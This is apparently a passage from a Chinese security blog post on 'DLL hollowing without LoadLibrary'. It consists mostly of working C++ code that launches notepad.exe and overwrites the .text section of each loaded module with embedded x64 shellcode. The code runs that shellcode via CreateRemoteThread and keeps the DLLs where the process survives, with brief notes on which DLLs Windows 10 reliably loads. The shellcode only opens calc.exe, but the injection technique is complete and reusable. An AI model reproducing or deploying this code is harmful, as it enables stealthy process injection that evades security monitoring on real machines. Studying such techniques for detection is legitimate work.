        bool ct=CreateProcessA(targetname, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE,  NULL, NULL, &si, &pi);
        if (ct == false) {
               printf("CreateProcess Fuck Error Code:%d\n",GetLastError());
               exit(0);
        }
        Sleep(2000);
        PrintModules(pi.hProcess,pi.dwProcessId);
        system("pause");
    return 0;
}

uxtheme.dll和msvcp_win.dll win10基本每个进程都加载了

插打印机和Defender都行

寻找稳定DLL(适用于win10)

// demoinject.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <winnt.h>
#include <map>
#include <iostream>
using namespace std;
map <string, int> dlllist;
map<string, int>::iterator iter;
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
char taskname[] = "Calculator.exe";
#define ErrorPrint(text,code){printf("Error:%s ErrorCode:%d\n",text,code);}
int IsExistProcess(CONST CHAR* szProcessName)
{
        PROCESSENTRY32 processEntry32;
        char pname[1024] = { 0 };
        HANDLE toolHelp32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (((int)toolHelp32Snapshot) != -1)
        {
               processEntry32.dwSize = sizeof(processEntry32);
               if (Process32First(toolHelp32Snapshot, &processEntry32))
               {
                       do
                       {
                              sprintf(pname, "%ws", processEntry32.szExeFile);
                              if (strcmp(szProcessName, pname) == 0)
                              {
                                      return processEntry32.th32ProcessID;
                              }
                       } while (Process32Next(toolHelp32Snapshot, &processEntry32));
               }
               CloseHandle(toolHelp32Snapshot);
        }
        return FALSE;
}
int PrintModules(HANDLE hProcess,DWORD processID)
{
        int id = 0;
        CHAR currnetname[1024] = {0};
        CHAR dllname[1024] = {0};
        DWORD oldProtect;
        MODULEENTRY32 moduleEntry;
        HANDLE handle = NULL;
        handle = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processID); //  获取进程快照中包含在th32ProcessID中指定的进程的所有的模块。
        if (!handle) {
               CloseHandle(handle);
               return NULL;
        }
        ZeroMemory(&moduleEntry, sizeof(MODULEENTRY32));
        moduleEntry.dwSize = sizeof(MODULEENTRY32);
        if (!Module32First(handle, &moduleEntry)) {
               CloseHandle(handle);
               return NULL;
        }
        do {
               sprintf(dllname, "%ws", moduleEntry.szModule);
               if (id == 0) {
                       sprintf(currnetname, "%s", dllname);
               }
               id += 1;
               if (strcmp(dllname, currnetname) != 0) {
                       if (dlllist.find(dllname) == dlllist.end()) {
                              //             printf("%s 0x%x\n",dllname,  moduleEntry.hModule);
                              BYTE *Address = moduleEntry.modBaseAddr + 4096;
                              VirtualProtectEx(hProcess, Address, sizeof(buf), 0x04,  &oldProtect);
                              WriteProcessMemory(hProcess, Address, buf, sizeof(buf),  NULL);
                              VirtualProtectEx(hProcess, Address, sizeof(buf), 0x20,  &oldProtect);
                              CreateRemoteThread(hProcess, NULL, 0,  (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL);
                              MEMORY_BASIC_INFORMATION baseinfo;
                              VirtualQueryEx(hProcess, Address, &baseinfo,  sizeof(baseinfo));
                              Sleep(5000);
                              int currentpid = IsExistProcess(currnetname);
                              //printf("the pid:%d %d\n", processID, currentpid);
                              if (dlllist.find(dllname) == dlllist.end()) {
                                      int kpid = IsExistProcess(taskname);
                                      if (kpid) {
                                             dlllist.insert(pair <string, int >(dllname,  true));
                                             printf("found DLL run shellcode ok:%s,but dll  is GG?\n", dllname);
                                             HANDLE  kHprocess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, kpid);
                                             TerminateProcess(kHprocess, 0);
                                             Sleep(2000);
                                             //return TRUE;
                                             if (currentpid == processID) {
                                                     printf("Found valid candidate:%s,  region size available on the .text section: 0x%x\n", dllname, baseinfo.RegionSize);
                                                     return TRUE;
                                             }
                                             else {
                                                     printf("Fuck DLL:%s\n", dllname);
                                                     dlllist.insert(pair <string, int  >(dllname, false));
                                                     return FALSE;
                                             }
                                      }else {
                                             printf("Fuck DLL:%s\n", dllname);
                                             dlllist.insert(pair <string, int >(dllname,  false));
                                             return FALSE;
                                      }
                              }
                       }
               }
        } while (Module32Next(handle, &moduleEntry));
        CloseHandle(handle);
        return 0;
        /*
        HANDLE hProcess;
        DWORD cbNeeded;
        HMODULE hmodules[MAX_PATH] = {};
        DWORD hmodulesize = sizeof(hmodules);
        DWORD hmodulesizeneeded = 0;
        HMODULE rmodule = NULL;
        CHAR rmoduleName[MAX_PATH] = {};
        unsigned int i;
        printf("Process ID: %u\n", processID);
        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,  processID);
        if (NULL == hProcess) {
               ErrorPrint("Rows:20 OpenProcess", GetLastError());
        }
        printf("\nOpenProcess:0x%x\n",hProcess);
        bool MeiJu=EnumProcessModules(hProcess, hmodules, hmodulesize,  &hmodulesizeneeded); //获取进程加载的所有模块句柄数量
        if (MeiJu != true) {
               ErrorPrint("Rows:24 EnumProcessModules", GetLastError());
        }
        printf("\nModuleCount:%d\n",(hmodulesizeneeded / sizeof(HMODULE)));
        for (int calc = 0;calc < (hmodulesizeneeded / sizeof(HMODULE));calc++) {
               rmodule = hmodules[calc];
               GetModuleFileNameExA(hProcess, rmodule, rmoduleName, sizeof(rmoduleName));  //获取模块名称
               HMODULE  BaseAddress = GetModuleHandleA((LPCSTR)rmoduleName)+4096; //DLL加载起始地址
               if (BaseAddress == NULL) {
                       ErrorPrint("Rows:32 GetModuleBaseNameA",GetLastError());
               }
               printf("%s BaseAddress:0x%x\n", rmoduleName, BaseAddress);


        }
        CloseHandle(hProcess);
        return 0;
        */
}
int main()
{
        bool Ctprocess;
        STARTUPINFOA si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        si.cb = sizeof(si);
        char processname[] = "C:\\Windows\\System32\\notepad.exe";
        DWORD cbNeeded;
        HMODULE hmodules[MAX_PATH] = {};
        DWORD hmodulesize = sizeof(hmodules);
        DWORD hmodulesizeneeded = 0;
        HMODULE rmodule = NULL;
        int modulecount;
        Ctprocess = CreateProcessA(processname, NULL, NULL, NULL, FALSE,  CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        Sleep(2000);
        bool MeiJu = EnumProcessModules(pi.hProcess, hmodules, hmodulesize,  &hmodulesizeneeded); //获取进程加载的所有模块句柄数量
        if (MeiJu != true) {
               ErrorPrint("Rows:24 EnumProcessModules", GetLastError());
        }
        modulecount = hmodulesizeneeded / sizeof(HMODULE);
        printf("module count:%d\n", modulecount);
        TerminateProcess(pi.hProcess, 0);
        Sleep(2000);
        for (int calc = 0;calc < modulecount;calc++) {
        //      printf("frequency:%d\n",calc);
               si = { 0 };
               pi = { 0 };
               Ctprocess = CreateProcessA(processname, NULL, NULL, NULL, FALSE,  CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
               if (Ctprocess != true) {
                       ErrorPrint("Rows:14 CreateProcessA", GetLastError());
               }
               int Ctprocesspid = pi.dwProcessId;
               Sleep(2000);
               int kt = PrintModules(pi.hProcess, Ctprocesspid);
               if (kt == 1) {
                       break;
               }
        }
        /*
        if (TerminateProcess(pi.hProcess,0) != true) {
               ErrorPrint("Rows:53 TerminateProcess",GetLastError());
        }
        printf("Kill Process\n");
        */
        system("pause");
    return 0;
}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:DLL镂空不使用Loadlibrary

本文作者:九世

发布时间:2022-01-16, 00:41:30

最后更新:2022-01-16, 00:56:12

原始链接:http://jiushill.github.io/posts/c34749bd.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录